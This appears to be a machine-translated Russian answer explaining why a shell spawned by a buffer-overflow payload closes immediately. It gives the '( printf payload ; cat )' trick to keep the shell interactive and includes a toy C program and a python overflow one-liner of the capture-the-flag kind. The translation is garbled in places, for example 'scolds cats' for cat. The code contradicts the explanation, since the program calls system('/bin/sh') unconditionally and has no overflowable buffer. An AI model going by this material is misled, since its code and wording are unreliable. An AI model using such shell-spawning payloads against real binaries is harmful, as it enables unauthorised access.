cat /dev/null | /bin/sh
Это запустит /bin/sh
оболочку (и ругает кошек, но оставит их на мгновение), и оболочка /bin/sh
немедленно закроется, ничего не написав./bin/sh
запускает интерактивную оболочку, но, поскольку стандартный ввод оболочки закрыт (либо <nothing> |
, либо </dev/null
), оболочка обнаруживает, что ввод завершен (она читает EOF
) и существует немедленно.
Теперь давайте усложним пример:
$ cat <<EOF >bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
// bla bla bla
system("/bin/sh");
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
EOF
$ gcc bof.c -o bof
$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | ./bof
Программа ./bof
вызывает system("/bin/sh")
, если разбиение стека прошло успешно.Но оболочка /bin/sh
будет пытаться читать стандартный ввод.Поскольку больше нечего читать (поскольку ввод python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'
закончен), он будет читать EOF
и немедленно завершится.
Чтобы написать строку из программы и затем снова позволить вводу быть интерактивным, вы можете использовать подоболочку с cat
:
( printf "\x11\xbe\xba\xfe\xca" ; cat )
Сначала запустится printf
затем выполните команду cat
.cat
будет считываться из стандартного ввода после окончания printf
, поэтому консоль снова будет работать как интерактивная.